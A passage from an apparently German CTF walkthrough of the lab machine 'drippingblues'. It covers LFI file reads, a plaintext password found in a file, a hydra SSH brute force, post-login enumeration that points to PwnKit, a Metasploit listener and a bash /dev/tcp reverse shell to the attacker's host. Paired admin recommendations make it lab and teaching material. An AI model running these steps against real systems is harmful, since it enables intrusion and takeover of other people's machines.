Empfehlung (Pentester): Untersuche die interessantesten gefundenen Dateien genauer mit `curl` über die LFI (z.B. `/etc/mysql/my.cnf`, `/etc/apache2/apache2.conf`, `/etc/vsftpd.conf`, `/etc/ssh/sshd_config`, `/etc/crontab`). Suche nach Passwörtern, Fehlkonfigurationen oder anderen nützlichen Informationen.
Empfehlung (Admin): Wiederum ist die Behebung der LFI-Schwachstelle die wichtigste Maßnahme. Zusätzlich sollte der Zugriff des Webservers auf sensible Konfigurationsdateien und Systembereiche wie `/proc` so weit wie möglich eingeschränkt werden (z.B. durch `open_basedir` in PHP oder AppArmor/SELinux).
# # The MySQL database server configuration file. # # You can copy this to one of: # - "/etc/mysql/my.cnf" to set global options, # - "~/.my.cnf" to set user-specific options. .... ... !includedir /etc/mysql/conf.d/ !includedir /etc/mysql/mysql.conf.d/
Analyse: Liest die MySQL-Konfigurationsdatei `/etc/mysql/my.cnf` über die LFI aus. Die Ausgabe zeigt Standardkommentare und Include-Direktiven.
Bewertung: Diese Datei selbst scheint keine direkten Zugangsdaten zu enthalten, verweist aber auf weitere Konfigurationsverzeichnisse (`/etc/mysql/conf.d/`, `/etc/mysql/mysql.conf.d/`).
Empfehlung (Pentester): Versuche, Dateien innerhalb der Include-Verzeichnisse über die LFI zu lesen, falls dort Zugangsdaten oder spezifische Konfigurationen vermutet werden.
Empfehlung (Admin): Stelle sicher, dass keine Passwörter im Klartext in MySQL-Konfigurationsdateien gespeichert werden. Beschränke den Lesezugriff auf diese Dateien so weit wie möglich.
Ubuntu 20.04 LTS \n \l
Analyse: Liest die Datei `/etc/issue` aus, die oft Informationen enthält, die vor dem Login auf einer Konsole angezeigt werden.
Bewertung: Bestätigt die verwendete Betriebssystemversion: Ubuntu 20.04 LTS. Dies ist nützlich für die Suche nach spezifischen Exploits oder bekannten Schwachstellen dieser Version.
Empfehlung (Pentester): Notiere die genaue Betriebssystemversion für die weitere Recherche nach Schwachstellen.
Empfehlung (Admin): `/etc/issue` kann angepasst werden, um weniger detaillierte Informationen preiszugeben, obwohl dies eher "Security through Obscurity" ist.
127.0.0.1 localhost 127.0.1.1 drippingblues
Analyse: Liest die `/etc/hosts`-Datei des Zielsystems über die LFI aus.
Bewertung: Zeigt die lokale Hostnamen-Konfiguration des Zielsystems. Bestätigt den Hostnamen `drippingblues`. Keine kritischen Informationen, aber nützlich zur Bestätigung des Systemnamens.
Empfehlung (Pentester): Bestätigt den Hostnamen, der bereits vermutet wurde. Keine direkten weiteren Schritte.
Empfehlung (Admin): Keine spezifische Aktion erforderlich, da `/etc/hosts` normalerweise für lokale Auflösung verwendet wird.
192.168.2.122 drippingblues
Analyse: Erneutes Bearbeiten der *lokalen* `/etc/hosts`-Datei des Angreifers. Diesmal wird der Hostname `drippingblues` (ohne `.vuln`-Suffix) der IP-Adresse 192.168.2.122 zugeordnet.
Bewertung: Der Pentester passt die lokale Hosts-Datei an den tatsächlichen Hostnamen des Zielsystems an, wie er in dessen eigener `/etc/hosts`-Datei gefunden wurde. Dies stellt sicher, dass Werkzeuge wie `hydra` den korrekten Hostnamen verwenden, falls die Zielanwendung (z.B. SSH) darauf reagiert.
Empfehlung (Pentester): Verwende nun `drippingblues` als Hostnamen für die Interaktion mit dem Zielsystem.
Empfehlung (Admin): Dies ist eine Aktion auf dem Angreifer-System, keine direkte Empfehlung für das Zielsystem.
#ls_recurse_enable=YES # # Customization # # Some of vsftpd's settings don't fit the filesystem layout by # default. # # This option should be the name of a directory which is empty. Also, the # directory should not be writable by the ftp user. This directory is used # as a secure chroot() jail at times vsftpd does not require filesystem # access. secure_chroot_dir=/var/run/vsftpd/empty # # This string is the name of the PAM service vsftpd will use. pam_service_name=vsftpd # # This option specifies the location of the RSA certificate to use for SSL # encrypted connections. rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key ssl_enable=NO
Analyse: Liest die Konfigurationsdatei des vsftpd-FTP-Servers über die LFI aus.
Bewertung: Die Konfiguration zeigt einige Standardeinstellungen. Wichtig ist `ssl_enable=NO`, was bedeutet, dass die FTP-Verbindung unverschlüsselt ist. Die Konfiguration für anonymen Zugriff (`anonymous_enable=YES`) ist hier nicht direkt sichtbar, aber wir wissen aus dem Nmap-Scan und dem FTP-Login, dass er aktiviert ist.
Empfehlung (Pentester): Bestätigt, dass FTP unverschlüsselt ist. Keine neuen Angriffspunkte aus dieser Datei ersichtlich.
Empfehlung (Admin): Aktiviere SSL/TLS für FTP (`ssl_enable=YES`), um die Übertragung von Zugangsdaten und Daten zu verschlüsseln (FTPS). Überprüfe die gesamte vsftpd-Konfiguration auf Sicherheit, insbesondere die Einstellungen für anonymen Zugriff.
...
..
password is:
imdrippinbiatch
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Analyse: Liest die Datei `/etc/dripispowerful.html` aus, die in der `robots.txt` erwähnt wurde, über die LFI-Schwachstelle.
Bewertung: Volltreffer! Diese Datei enthält ein Klartext-Passwort: `imdrippinbiatch`. Dies ist höchstwahrscheinlich das Passwort für den Benutzer `thugger`, den wir zuvor identifiziert haben.
Empfehlung (Pentester): Versuche sofort, dich per SSH als Benutzer `thugger` mit dem Passwort `imdrippinbiatch` anzumelden. Alternativ kann `hydra` verwendet werden, um dies zu bestätigen.
Empfehlung (Admin): **Kritisch!** Speichere niemals Passwörter im Klartext in Dateien, insbesondere nicht in solchen, die potenziell über LFI oder andere Web-Schwachstellen zugänglich sind. Überprüfe den Ursprung dieser Datei und entferne sie. Ändere sofort das betroffene Passwort und alle anderen Passwörter, die möglicherweise kompromittiert wurden. Überprüfe Systeme auf unbefugten Zugriff.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-03 00:48:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344400 login tries (l:1/p:14344400), ~224132 tries per task
[DATA] attacking ssh://drippingblues:22/
============================================================================
[22][ssh] host: drippingblues login: thugger password: imdrippinbiatch
============================================================================
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 26 final worker threads did not complete until end.
[ERROR] 26 targets did not resolve or could not be connected
Analyse: `hydra` ist ein Brute-Force-Tool für Logins. * `-l thugger`: Gibt den Benutzernamen an. * `-P /usr/share/wordlists/rockyou.txt`: Gibt die Passwortliste an. * `ssh://drippingblues:22`: Gibt das Protokoll (SSH), das Ziel (`drippingblues`, aufgelöst durch unsere lokale `/etc/hosts`) und den Port (22) an. * `-t 64`: Verwendet 64 parallele Threads (Warnung zeigt, dass dies für SSH oft zu hoch ist). Obwohl wir das Passwort bereits durch LFI gefunden haben, wird hier `hydra` ausgeführt. Es findet das Passwort `imdrippinbiatch` sehr schnell, da es wahrscheinlich am Anfang der Wortliste steht oder weil Hydra den vorherigen Fund priorisiert (Restorefile-Warnung).
Bewertung: Hydra bestätigt, dass das über LFI gefundene Passwort `imdrippinbiatch` für den Benutzer `thugger` am SSH-Dienst gültig ist. Der initiale Zugriff auf das System ist nun möglich.
Empfehlung (Pentester): Stelle eine SSH-Verbindung zum Zielsystem als Benutzer `thugger` mit dem gefundenen Passwort her.
Empfehlung (Admin): Implementiere Maßnahmen gegen Brute-Force-Angriffe auf SSH:
* Verwende starke, komplexe Passwörter oder besser noch Schlüssel-basierte Authentifizierung.
* Installiere Tools wie `fail2ban`, um IP-Adressen nach mehreren fehlgeschlagenen Login-Versuchen automatisch zu sperren.
* Beschränke SSH-Zugriff auf bestimmte IP-Adressen, falls möglich.
* Ändere den Standard-SSH-Port (Security through Obscurity, aber reduziert automatisierte Angriffe).
thugger@drippingblues's password: imdrippinbiatch
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.11.0-34-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
495 updates can be installed immediately.
233 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Your Hardware Enablement Stack (HWE) is supported until April 2025.
thugger@drippingblues:~$
Analyse: Der Befehl `ssh thugger@drippingblues` initiiert eine SSH-Verbindung zum Zielhost `drippingblues` als Benutzer `thugger`. Nach Eingabe des korrekten Passworts (`imdrippinbiatch`) wird die Verbindung hergestellt. Der Willkommensbanner bestätigt das Betriebssystem (Ubuntu 20.04 LTS) und zeigt Informationen über verfügbare Updates an. Wir erhalten einen Shell-Prompt als Benutzer `thugger` (`thugger@drippingblues:~$`).
Bewertung: Fantastisch! Der initiale Zugriff auf das System war erfolgreich. Wir haben nun eine interaktive Shell als Benutzer `thugger`. Das Ziel ist jetzt, die Rechte auf `root` zu erweitern (Privilege Escalation).
Empfehlung (Pentester): Beginne mit der Enumeration auf dem Zielsystem aus der Sicht des Benutzers `thugger`. Suche nach:
* Sudo-Rechten (`sudo -l`).
* SUID/SGID-Binaries (`find / -type f -perm -04000 -ls 2>/dev/null`, `find / -type f -perm -02000 -ls 2>/dev/null`).
* Capabilities (`getcap -r / 2>/dev/null`).
* Cronjobs (Systemweit und Benutzer).
* Interessanten Dateien im Home-Verzeichnis (`ls -la`, versteckte Dateien).
* Kernel-Version (`uname -a`) und Betriebssystem-Version für bekannte Exploits.
* Netzwerkkonfiguration (`ip a`, `ss -tulpn`).
* Gespeicherten Passwörtern oder Skripten.
Empfehlung (Admin): Überwache SSH-Logins auf verdächtige Aktivitäten. Stelle sicher, dass Benutzer nur die minimal notwendigen Rechte haben. Halte das System und die installierte Software aktuell, um bekannte Schwachstellen zu minimieren (die vielen angezeigten Updates sind ein Indikator für Versäumnisse).
[sudo] password for thugger: imdrippinbiatch
Sorry, user thugger may not run sudo on drippingblues.
Analyse: Der Befehl `sudo -l` wird verwendet, um zu überprüfen, welche Befehle der aktuelle Benutzer (`thugger`) mit `sudo` (also mit Root-Rechten oder als anderer Benutzer) ausführen darf. Es wird das Passwort von `thugger` benötigt.
Bewertung: Die Ausgabe `Sorry, user thugger may not run sudo on drippingblues.` zeigt klar, dass der Benutzer `thugger` keine konfigurierten `sudo`-Rechte hat. Dieser einfache Weg zur Privilege Escalation ist somit ausgeschlossen.
Empfehlung (Pentester): Suche nach anderen Wegen zur Privilege Escalation, wie SUID/SGID-Binaries, Kernel-Exploits, Fehlkonfigurationen, ausnutzbaren Cronjobs oder Capabilities.
Empfehlung (Admin): Das ist das erwartete Verhalten für einen normalen Benutzer ohne administrative Rechte. Gut so. Überprüfe regelmäßig die `sudoers`-Konfiguration, um sicherzustellen, dass nur autorisierte Benutzer die notwendigen Rechte haben (Prinzip der geringsten Rechte).
total 64 drwxr-xr-x 14 thugger thugger 4096 Eyl 19 2021 . drwxr-xr-x 3 root root 4096 Eyl 18 2021 .. -rw------- 1 thugger thugger 8 Eyl 19 2021 .bash_history drwxr-xr-x 10 thugger thugger 4096 Eyl 19 2021 .cache drwxr-xr-x 11 thugger thugger 4096 Eyl 19 2021 .config drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Desktop drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Documents drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Downloads drwxr-xr-x 3 thugger thugger 4096 Eyl 19 2021 .local drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Music drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Pictures drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Public drwx------ 2 thugger thugger 4096 Eyl 19 2021 .ssh drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Templates -r-x------ 1 thugger thugger 32 Eyl 19 2021 user.txt drwxr-xr-x 2 thugger thugger 4096 Eyl 18 2021 Videos
Analyse: Der Befehl `ls -la` listet alle Dateien und Verzeichnisse (auch versteckte, die mit `.` beginnen) im aktuellen Verzeichnis (`/home/thugger`) im langen Format auf, einschließlich Berechtigungen, Besitzer, Größe und Änderungsdatum.
Bewertung: Wir sehen die Standard-Home-Verzeichnisstruktur. Interessant sind: * `.bash_history`: Enthält die Befehlshistorie des Benutzers. Könnte Passwörter oder interessante Befehle enthalten. * `.ssh`: Enthält SSH-Konfigurationen und potenziell private Schlüssel. * `user.txt`: Dies ist sehr wahrscheinlich die User-Flag für das CTF.
Empfehlung (Pentester): Lies den Inhalt von `user.txt`. Untersuche `.bash_history` und den Inhalt von `.ssh` (insbesondere nach privaten Schlüsseln wie `id_rsa`).
Empfehlung (Admin): Stelle sicher, dass Benutzer keine sensiblen Daten (wie Passwörter oder private Schlüssel) unverschlüsselt in ihrem Home-Verzeichnis speichern. Berechtigungen für `.ssh`-Verzeichnis (700) und private Schlüssel (600) sollten korrekt gesetzt sein.
5C50FC503A2ABE93B4C5EE3425496521
Analyse: Zeigt den Inhalt der Datei `user.txt` an.
Bewertung: Erfolg! Die User-Flag wurde gefunden: `5C50FC503A2ABE93B4C5EE3425496521`. Der erste Teil des Ziels ist erreicht.
Empfehlung (Pentester): Notiere die User-Flag. Konzentriere dich nun vollständig auf die Privilege Escalation zu `root`.
Empfehlung (Admin): In einem realen Szenario sollten solche Flag-Dateien natürlich nicht existieren. Zugriff auf sensible Daten sollte durch Berechtigungen und Verschlüsselung geschützt werden.
su root
Analyse: Zeigt den Inhalt der Bash-History-Datei für den Benutzer `thugger` an.
Bewertung: Die History enthält nur den Befehl `su root`. Dies deutet darauf hin, dass der Benutzer versucht hat, zum Root-Benutzer zu wechseln, verrät aber kein Passwort oder andere nützliche Informationen. Es ist auch möglich, dass die History bereinigt wurde.
Empfehlung (Pentester): Keine direkten Hinweise hieraus. Setze die Enumeration mit anderen Methoden fort.
Empfehlung (Admin): `.bash_history` kann sensible Informationen enthalten. Benutzer sollten darauf hingewiesen werden, keine Passwörter direkt auf der Kommandozeile einzugeben. Admins können systemweite History-Einstellungen anpassen oder Logging über andere Mechanismen (auditd) sicherstellen.
/snap/core22/634/usr/bin/ping = cap_net_raw+ep /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/ping = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Analyse: Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv (`-r`) ab dem Root-Verzeichnis (`/`) nach Dateien mit gesetzten Linux Capabilities. Capabilities erlauben es Programmen, bestimmte privilegierte Operationen auszuführen, ohne volle Root-Rechte zu besitzen. `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei fehlenden Leserechten).
Bewertung: Die gefundenen Capabilities (`cap_net_raw`, `cap_ipc_lock`, `cap_net_bind_service`, `cap_net_admin`) für die aufgelisteten Binaries (`ping`, `gnome-keyring-daemon`, `traceroute6.iputils`, `mtr-packet`, `gst-ptp-helper`) sind größtenteils Standard und bieten in diesen Fällen normalerweise keinen einfachen Weg zur Privilege Escalation. Es wurden keine ungewöhnlichen oder leicht ausnutzbaren Capabilities gefunden.
Empfehlung (Pentester): Capabilities sind ein möglicher Vektor, aber hier unwahrscheinlich. Konzentriere dich auf SUID-Binaries und andere Methoden.
Empfehlung (Admin): Überprüfe regelmäßig die gesetzten Capabilities auf dem System. Vergeben Sie Capabilities nur, wenn sie unbedingt notwendig sind, und nur an vertrauenswürdige Binaries.
-rw-r--r-- 1 root root 2894 Eyl 19 2021 /etc/passwd
Analyse: Zeigt die Berechtigungen der Datei `/etc/passwd` an.
Bewertung: Die Berechtigungen `-rw-r--r--` (644) sind Standard. Jeder Benutzer kann die Datei lesen, aber nur `root` kann sie schreiben. Dies bestätigt, warum wir sie über die LFI lesen konnten.
Empfehlung (Pentester): Keine neuen Erkenntnisse. Dient zur Bestätigung der Dateiberechtigungen.
Empfehlung (Admin): Die Berechtigungen sind korrekt gesetzt.
846 72 -rwsr-xr-x 1 root root 72712 Kas 24 2022 /snap/core22/634/usr/bin/chfn 852 44 -rwsr-xr-x 1 root root 44808 Kas 24 2022 /snap/core22/634/usr/bin/chsh 918 71 -rwsr-xr-x 1 root root 72072 Kas 24 2022 /snap/core22/634/usr/bin/gpasswd 1002 47 -rwsr-xr-x 1 root root 47480 Şub 21 2022 /snap/core22/634/usr/bin/mount 1011 40 -rwsr-xr-x 1 root root 40496 Kas 24 2022 /snap/core22/634/usr/bin/newgrp 1026 59 -rwsr-xr-x 1 root root 59976 Kas 24 2022 /snap/core22/634/usr/bin/passwd 1141 55 -rwsr-xr-x 1 root root 55672 Şub 21 2022 /snap/core22/634/usr/bin/su 1142 227 -rwsr-xr-x 1 root root 232416 Nis 3 21:00 /snap/core22/634/usr/bin/sudo 1202 35 -rwsr-xr-x 1 root root 35192 Şub 21 2022 /snap/core22/634/usr/bin/umount 1293 35 -rwsr-xr-- 1 root systemd-resolve 35112 Eki 25 2022 /snap/core22/634/usr/lib/dbus-1.0/dbus-daemon-launch-helper 1643 331 -rwsr-xr-x 1 root root 338536 Kas 23 2022 /snap/core22/634/usr/lib/openssh/ssh-keysign 297 129 -rwsr-xr-x 1 root root 131832 May 12 13:26 /snap/snapd/19361/usr/lib/snapd/snap-confine 56 43 -rwsr-xr-x 1 root root 43088 Eyl 16 2020 /snap/core18/2751/bin/mount 65 63 -rwsr-xr-x 1 root root 64424 Haz 28 2019 /snap/core18/2751/bin/ping 81 44 -rwsr-xr-x 1 root root 44664 Kas 29 2022 /snap/core18/2751/bin/su 99 27 -rwsr-xr-x 1 root root 26696 Eyl 16 2020 /snap/core18/2751/bin/umount 1728 75 -rwsr-xr-x 1 root root 76496 Kas 29 2022 /snap/core18/2751/usr/bin/chfn 1730 44 -rwsr-xr-x 1 root root 44528 Kas 29 2022 /snap/core18/2751/usr/bin/chsh 1783 75 -rwsr-xr-x 1 root root 75824 Kas 29 2022 /snap/core18/2751/usr/bin/gpasswd 1847 40 -rwsr-xr-x 1 root root 40344 Kas 29 2022 /snap/core18/2751/usr/bin/newgrp 1860 59 -rwsr-xr-x 1 root root 59640 Kas 29 2022 /snap/core18/2751/usr/bin/passwd 1951 146 -rwsr-xr-x 1 root root 149080 Nis 4 15:44 /snap/core18/2751/usr/bin/sudo 2039 42 -rwsr-xr-- 1 root systemd-resolve 42992 Eki 25 2022 /snap/core18/2751/usr/lib/dbus-1.0/dbus-daemon-launch-helper 2349 427 -rwsr-xr-x 1 root root 436552 Mar 30 2022 /snap/core18/2751/usr/lib/openssh/ssh-keysign 56 43 -rwsr-xr-x 1 root root 43088 Eyl 16 2020 /snap/core18/2128/bin/mount 65 63 -rwsr-xr-x 1 root root 64424 Haz 28 2019 /snap/core18/2128/bin/ping 81 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/2128/bin/su 99 27 -rwsr-xr-x 1 root root 26696 Eyl 16 2020 /snap/core18/2128/bin/umount 1710 75 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/2128/usr/bin/chfn 1712 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/2128/usr/bin/chsh 1765 75 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/2128/usr/bin/gpasswd 1829 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/2128/usr/bin/newgrp 1842 59 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/2128/usr/bin/passwd 1933 146 -rwsr-xr-x 1 root root 149080 Oca 19 2021 /snap/core18/2128/usr/bin/sudo 2020 42 -rwsr-xr-- 1 root systemd-resolve 42992 Haz 11 2020 /snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper 2330 427 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /snap/core18/2128/usr/lib/openssh/ssh-keysign 146826 388 -rwsr-xr-- 1 root dip 395144 Şub 11 2020 /usr/sbin/pppd 132020 32 -rwsr-xr-x 1 root root 31032 Ağu 16 2019 /usr/bin/pkexec 132238 68 -rwsr-xr-x 1 root root 67816 Nis 2 2020 /usr/bin/su 132239 164 -rwsr-xr-x 1 root root 166056 Şub 3 2020 /usr/bin/sudo 132333 40 -rwsr-xr-x 1 root root 39144 Nis 2 2020 /usr/bin/umount 168656 16 -rwsr-xr-x 1 root root 14728 Mar 17 2021 /usr/bin/vmware-user-suid-wrapper 131263 84 -rwsr-xr-x 1 root root 85064 Nis 16 2020 /usr/bin/chfn 131269 52 -rwsr-xr-x 1 root root 53040 Nis 16 2020 /usr/bin/chsh 131528 88 -rwsr-xr-x 1 root root 88464 Nis 16 2020 /usr/bin/gpasswd 131966 68 -rwsr-xr-x 1 root root 68208 Nis 16 2020 /usr/bin/passwd 131450 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount 131896 44 -rwsr-xr-x 1 root root 44784 Nis 16 2020 /usr/bin/newgrp 131861 56 -rwsr-xr-x 1 root root 55528 Nis 2 2020 /usr/bin/mount 133249 52 -rwsr-xr-- 1 root messagebus 51344 Ara 7 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 146378 16 -rwsr-sr-x 1 root root 14488 Nis 6 2020 /usr/lib/xorg/Xorg.wrap 141170 24 -rwsr-xr-x 1 root root 22840 Ağu 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1 144051 128 -rwsr-xr-x 1 root root 130120 Nis 10 2020 /usr/lib/snapd/snap-confine 133542 16 -rwsr-xr-x 1 root root 14488 Tem 8 2019 /usr/lib/eject/dmcrypt-get-device 168712 464 -rwsr-xr-x 1 root root 473576 Tem 23 2021 /usr/lib/openssh/ssh-keysign
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit bewirkt, dass ein Programm immer mit den Rechten des Dateibesitzers (hier meist `root`) ausgeführt wird, unabhängig davon, wer es startet. `-ls` zeigt detaillierte Informationen zu den gefundenen Dateien an. `2>/dev/null` unterdrückt Fehler.
Bewertung: Die Liste zeigt viele Standard-SUID-Binaries (`chfn`, `chsh`, `passwd`, `su`, `sudo`, `mount`, `umount`, `ping`, etc.), auch innerhalb von Snap-Paketen (`/snap/...`). Ein besonders interessantes Binary ist `/usr/bin/pkexec`. `pkexec` (Teil von Polkit) ist bekannt für die Schwachstelle CVE-2021-4034 (PwnKit), die eine lokale Privilege Escalation ermöglicht, wenn eine anfällige Version installiert ist.
Empfehlung (Pentester): Überprüfe die Version von `pkexec` oder teste direkt die PwnKit-Schwachstelle (CVE-2021-4034) aus. Tools wie Metasploit oder eigenständige Exploits können hierfür verwendet werden. Dies ist der wahrscheinlichste Weg zur Privilege Escalation.
Empfehlung (Admin): Stelle sicher, dass das System vollständig gepatcht ist, insbesondere gegen bekannte Privilege-Escalation-Schwachstellen wie PwnKit (CVE-2021-4034). Entferne das SUID-Bit von Binaries, wo es nicht unbedingt benötigt wird, obwohl dies bei Standard-Systemtools oft nicht praktikabel ist.
____________ [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%] [% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%] [% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%] [% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] =[ metasploit v6.3.16-dev ] + -- --=[ 2315 exploits - 1208 auxiliary - 412 post ] + -- --=[ 975 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: Adapter names can be used for IP params set LHOST eth0 Metasploit Documentation: https://docs.metasploit.com/ msf6 >
Analyse: Startet die Metasploit Framework Console (`msfconsole`), ein mächtiges Werkzeug für Penetration Testing, das eine Vielzahl von Exploits, Payloads und Hilfsmodulen bereitstellt.
Bewertung: Metasploit wird hier vorbereitet, um wahrscheinlich einen Listener für eine Reverse Shell aufzusetzen und/oder den PwnKit-Exploit auszuführen.
Empfehlung (Pentester): Nutze Metasploit, um einen Listener (`multi/handler`) zu starten und den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) vorzubereiten.
Empfehlung (Admin): Intrusion Detection Systeme (IDS/IPS) können versuchen, Metasploit-Traffic oder -Payloads zu erkennen. Sichere Konfigurationen und Patches verhindern die erfolgreiche Ausführung der Exploits.
[*] Using configured payload generic/shell_reverse_tcp
Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command.
lhost => 192.168.2.113
lport => 4444
[*] Started reverse TCP handler on 192.168.2.113:4444
Analyse: Innerhalb von Metasploit werden folgende Schritte durchgeführt: 1. `use multi/handler`: Lädt das generische Handler-Modul, das darauf wartet, eingehende Verbindungen von Payloads (wie Reverse Shells) zu empfangen. Es wird standardmäßig eine `generic/shell_reverse_tcp`-Payload konfiguriert. 2. `options`: Zeigt die konfigurierbaren Optionen für das Modul und die Payload an. `LHOST` (Listen Host/IP) und `LPORT` (Listen Port) sind erforderlich. 3. `set lhost eth0`: Setzt die lokale IP-Adresse, auf der der Handler lauschen soll, auf die IP der Netzwerkschnittstelle `eth0` des Angreifer-Systems (hier `192.168.2.113`). 4. `set lport 4444`: Setzt den Port, auf dem der Handler lauschen soll, auf 4444. 5. `run`: Startet den Handler. Metasploit lauscht nun auf Port 4444 auf der IP 192.168.2.113 auf eingehende Verbindungen.
Bewertung: Der Listener ist nun bereit, eine eingehende Reverse Shell vom Zielsystem zu empfangen. Dies ist eine Vorbereitung für die Privilege Escalation oder um eine stabilere Shell als die direkte SSH-Verbindung zu erhalten (obwohl hier nicht unbedingt notwendig).
Empfehlung (Pentester): Führe nun auf dem Zielsystem (`thugger@drippingblues`) einen Befehl aus, der eine Reverse Shell zu `192.168.2.113:4444` aufbaut.
Empfehlung (Admin): Firewalls (insbesondere Egress-Filter) können versuchen, ausgehende Verbindungen zu unbekannten IPs und Ports zu blockieren und so die erfolgreiche Etablierung von Reverse Shells zu verhindern. Netzwerk-Monitoring kann verdächtige ausgehende Verbindungen erkennen.
Analyse: Dieser Befehl wird auf der Zielmaschine als Benutzer `thugger` ausgeführt. * `bash -i`: Startet eine interaktive Bash-Shell. * `>& /dev/tcp/192.168.2.113/4444`: Leitet Standard-Output (stdout) und Standard-Error (stderr) an eine TCP-Verbindung zur IP-Adresse `192.168.2.113` auf Port `4444` um (die Adresse und der Port unseres Metasploit-Listeners). `/dev/tcp/...` ist eine spezielle Funktionalität der Bash. * `0>&1`: Leitet Standard-Input (stdin) von der gleichen Verbindung ein, auf die stdout umgeleitet wurde. Im Wesentlichen wird eine interaktive Shell gestartet und ihre gesamte Ein- und Ausgabe über das Netzwerk an unseren Listener gesendet.
Bewertung: Dies ist eine gängige Methode, um schnell eine Reverse Shell zu erhalten, ohne zusätzliche Tools auf das Zielsystem hochladen zu müssen. Die Verbindung wird erfolgreich zum Metasploit-Handler aufgebaut.
Empfehlung (Pentester): Wechsle zurück zum Metasploit-Fenster, wo die eingehende Verbindung bestätigt werden sollte. Du hast nun eine Shell-Sitzung über Metasploit.
Empfehlung (Admin): Das Blockieren ausgehender Verbindungen (Egress Filtering) auf ungewöhnlichen Ports oder zu unbekannten Zielen ist die primäre Verteidigung gegen solche Reverse Shells. Intrusion Detection Systeme können solche Shell-Muster im Netzwerkverkehr erkennen.
[*] Started reverse TCP handler on 192.168.2.113:4444 [*] Command shell session 1 opened (192.168.2.113:4444 -> 192.168.2.122:46886) at 2023-06-03 00:59:16 +0200 thugger@drippingblues:/var/www/html$
Analyse: Dies ist die Ausgabe im Metasploit-Handler-Fenster. Sie zeigt, dass der zuvor gestartete Listener eine Verbindung vom Zielsystem (192.168.2.122) auf Port 46886 empfangen hat. Eine "Command shell session 1" wurde geöffnet. Der Prompt `thugger@drippingblues:/var/www/html$` wird angezeigt, was bestätigt, dass wir nun Befehle als `thugger` über Metasploit ausführen können.
